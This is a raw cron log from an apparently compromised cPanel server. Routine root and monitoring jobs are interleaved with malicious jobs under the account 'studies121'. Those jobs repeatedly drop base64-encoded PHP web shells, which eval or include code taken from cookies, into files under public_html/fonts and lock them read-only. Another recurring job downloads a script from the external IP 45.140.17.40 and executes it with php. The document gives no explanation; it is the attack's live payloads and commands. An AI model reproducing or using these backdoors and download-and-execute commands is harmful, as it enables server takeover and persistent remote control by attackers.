Feb 22 22:33:01 ip-184-168-122-23 CROND[27109]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:33:01 ip-184-168-122-23 CROND[27112]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:34:01 ip-184-168-122-23 CROND[27448]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 22:34:01 ip-184-168-122-23 CROND[27449]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 22:34:01 ip-184-168-122-23 CROND[27452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:34:01 ip-184-168-122-23 CROND[27451]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:34:01 ip-184-168-122-23 CROND[27454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:35:01 ip-184-168-122-23 CROND[27795]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:35:01 ip-184-168-122-23 CROND[27796]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 22:35:01 ip-184-168-122-23 CROND[27799]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:35:01 ip-184-168-122-23 CROND[27800]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:35:01 ip-184-168-122-23 CROND[27802]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 22:35:01 ip-184-168-122-23 CROND[27806]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 22:35:01 ip-184-168-122-23 CROND[27804]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 22:35:01 ip-184-168-122-23 CROND[27803]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Feb 22 22:36:02 ip-184-168-122-23 CROND[28165]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 22:36:02 ip-184-168-122-23 CROND[28167]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 22:36:02 ip-184-168-122-23 CROND[28169]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:36:02 ip-184-168-122-23 CROND[28168]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:36:02 ip-184-168-122-23 CROND[28170]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:37:01 ip-184-168-122-23 CROND[28490]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:37:01 ip-184-168-122-23 CROND[28491]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:37:01 ip-184-168-122-23 CROND[28492]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:37:01 ip-184-168-122-23 CROND[28493]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 22:38:01 ip-184-168-122-23 CROND[28762]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 22:38:01 ip-184-168-122-23 CROND[28764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:38:01 ip-184-168-122-23 CROND[28765]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:38:01 ip-184-168-122-23 CROND[28766]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:38:01 ip-184-168-122-23 CROND[28767]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 22:39:01 ip-184-168-122-23 CROND[29094]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:39:01 ip-184-168-122-23 CROND[29095]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:39:01 ip-184-168-122-23 CROND[29097]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Feb 22 22:39:01 ip-184-168-122-23 CROND[29099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:39:01 ip-184-168-122-23 CROND[29101]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 22:40:01 ip-184-168-122-23 CROND[29368]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:40:01 ip-184-168-122-23 CROND[29370]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 22:40:01 ip-184-168-122-23 CROND[29372]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 22:40:01 ip-184-168-122-23 CROND[29371]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 22:40:01 ip-184-168-122-23 CROND[29375]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 22:40:01 ip-184-168-122-23 CROND[29377]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:40:01 ip-184-168-122-23 CROND[29378]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 22:40:01 ip-184-168-122-23 CROND[29379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:41:01 ip-184-168-122-23 CROND[29657]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:41:01 ip-184-168-122-23 CROND[29658]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 22:41:01 ip-184-168-122-23 CROND[29661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:41:01 ip-184-168-122-23 CROND[29663]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:42:01 ip-184-168-122-23 CROND[29995]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 22:42:01 ip-184-168-122-23 CROND[29999]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 22:42:01 ip-184-168-122-23 CROND[29996]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:42:01 ip-184-168-122-23 CROND[29998]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:42:01 ip-184-168-122-23 CROND[30000]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:43:01 ip-184-168-122-23 CROND[30332]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:43:01 ip-184-168-122-23 CROND[30331]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 22:43:01 ip-184-168-122-23 CROND[30333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:43:01 ip-184-168-122-23 CROND[30334]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:44:01 ip-184-168-122-23 CROND[30654]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 22:44:01 ip-184-168-122-23 CROND[30656]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 22:44:01 ip-184-168-122-23 CROND[30659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:44:01 ip-184-168-122-23 CROND[30658]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:44:01 ip-184-168-122-23 CROND[30660]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:45:01 ip-184-168-122-23 CROND[31049]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:45:01 ip-184-168-122-23 CROND[31050]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 22:45:01 ip-184-168-122-23 CROND[31054]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
